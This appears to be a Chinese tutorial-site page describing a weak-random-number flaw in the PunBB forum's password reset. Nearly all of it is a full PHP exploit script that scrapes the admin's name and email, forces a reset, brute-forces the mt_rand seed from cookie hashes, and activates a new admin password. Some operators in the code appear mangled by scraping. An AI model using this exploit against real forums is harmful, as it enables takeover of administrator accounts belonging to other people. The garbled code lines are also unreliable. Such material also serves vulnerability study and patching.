PunBB口令重置弱随机数绕过安全限制漏洞_漏洞分析教程-查字典教程网
PunBB口令重置弱随机数绕过安全限制漏洞
PunBB口令重置弱随机数绕过安全限制漏洞
发布时间:2016-12-21 来源:查字典编辑
摘要:PunBB是一款基于PHP的论坛程序。PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。如果用户忘记...

PunBB是一款基于PHP的论坛程序。

PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。

如果用户忘记了口令的话,可使用PunBB的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激活链接,用户必须点击这个链接才能使口令更改生效。

PunBB的口令重置功能使用mt_rand()生成新口令和激活链接,但在初始化马特赛特旋转演算法随机数生成器时使用了0到1,000,000之间的随机数,具体取决于当前的微秒,也就是只有100万个可能的新口令和激活链接。攻击者可以暴力猜测这个有限的区域,判断重置的口令并激活。

<?php

/**

* Original : http://www.winshell.cn/2008-01.txt

* Thanks to Stefan Esser, here's the exploit.

*

* Team : EpiBite

* firefox, petit-poney, thot

* Nous tenons a remercier nos mamans et papas respectifs.

* Let's get a fu*** coffee !

*/

// conf

define('URL', 'http://localhost/punbb_1-2-16_fr/upload'); // base url

define('EMAIL', 'login_x@epitech.net'); // your email

define('LOGIN', 'login_x'); // your login

define('PASS', '620553.8I73'); // your pass

// Exploit

printf("--nUrl : %snEmail : %sn--n", URL, EMAIL);

$h = curl_init();

curl_setopt($h, CURLOPT_URL,

URL.'/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=ASC&search=Envoyer');

curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);

$s = curl_exec($h);

preg_match('/profile.php?id=([0-9]*)">([^<]*)</', $s, $m);

define('ADMIN', $m[2]);

preg_match('/<td class="tcr">([0-9]{4})-([0-9]{2})-([0-9]{2})</td/', $s, $m);

if (count($m))

define('DATE', mktime(0, 0, 0, $m[2], $m[3], $m[1]));

else

define('DATE', time() - 86400); //just in case, the forum or account just has been created

printf("Admin : %snDate : %sn--n", ADMIN, DATE);

$h = curl_init();

curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');

// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');

curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($h, CURLOPT_HEADER, 1);

curl_setopt($h, CURLOPT_POST, 1);

curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',

'req_email='.urlencode(EMAIL),

'request_pass=Envoyer')));

preg_match('/mailto:([^"]*)"/', curl_exec($h), $m);

define('ADMIN_MAIL', $m[1]); // Admin email (normally automatically get, set manually if there's problem)

printf("Admin mail : %sn--n", ADMIN_MAIL);

$h = curl_init();

curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=forget_2');

curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);

// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');

curl_setopt($h, CURLOPT_COOKIE,

'punbb_cookie='.rawurlencode(serialize(array(0 => 2, 1 =>

md5('bite')))));

curl_setopt($h, CURLOPT_HEADER, 1);

curl_setopt($h, CURLOPT_POST, 1);

curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',

'req_email='.urlencode(ADMIN_MAIL),

'request_pass=Envoyer')));

$s = curl_exec($h);

preg_match('/Set-Cookie:.*punbb_cookie=([^;]*);/', $s, $m);

$c = unserialize(urldecode($m[1]));

define('MD5_NOT_LOGGUED', $c[1]);

printf("Md5 not loggued : %sn--n", MD5_NOT_LOGGUED);

$h = curl_init();

curl_setopt($h, CURLOPT_URL, URL.'/login.php?action=in');

curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($h, CURLOPT_HEADER, 1);

// curl_setopt($h, CURLOPT_PROXY, 'proxies.epitech.net:3128');

curl_setopt($h, CURLOPT_POST, 1);

curl_setopt($h, CURLOPT_POSTFIELDS, implode('&', array('form_sent=1',

'redirect_url=index.php',

'req_username='.LOGIN,

'req_password='.PASS)));

$s = curl_exec($h);

preg_match('/Set-Cookie:.*punbb_cookie=([^;]*);/', $s, $m);

$c = unserialize(urldecode($m[1]));

define('MD5_LOGGUED', $c[1]);

printf("Md5 loggued : %sn--n", MD5_LOGGUED);

define('PASS_MD5ED', sha1(PASS));

$chars = array('/', '-', "", '|');

for ($p = 0; $p < 86400 * 2; $p )

{

if (!($p % 300))

echo $chars[($p / 300) % 4]."r";

if (strcmp(MD5_LOGGUED, md5(substr(md5((int)(DATE $p)),

-8).PASS_MD5ED)) == 0)

{

define('SEED', substr(md5(DATE $p), -8));

break;

}

}

printf("Seed : %sn--n", SEED);

for ($p = 0; $p < 1000000; $p )

{

if (!($p % 300))

echo $chars[($p / 300) % 4]."r";

mt_srand((double)$p);

if (strcmp(md5(SEED.random_pass(8)), MD5_NOT_LOGGUED) == 0)

{

define('SRAND', $p);

break;

}

}

printf("SRAND : %sn--n", SRAND);

mt_srand(SRAND);

random_pass(8);

printf("New password : %sn--n", random_pass(8));

$url = URL.'/profile.php?id=2&action=change_pass&key='.random_pass(8);// Id is set to '2' (the admin's id, but you can change your target)

$h = curl_init();

curl_setopt($h, CURLOPT_URL, $url);

curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);

curl_exec($h);

function random_pass($len)

{

$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

$password = '';

for ($i = 0; $i < $len; $i)

$password .= substr($chars, (mt_rand() % strlen($chars)), 1);

return $password;

}

?>

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新漏洞分析学习
    热门漏洞分析学习
    网络安全子分类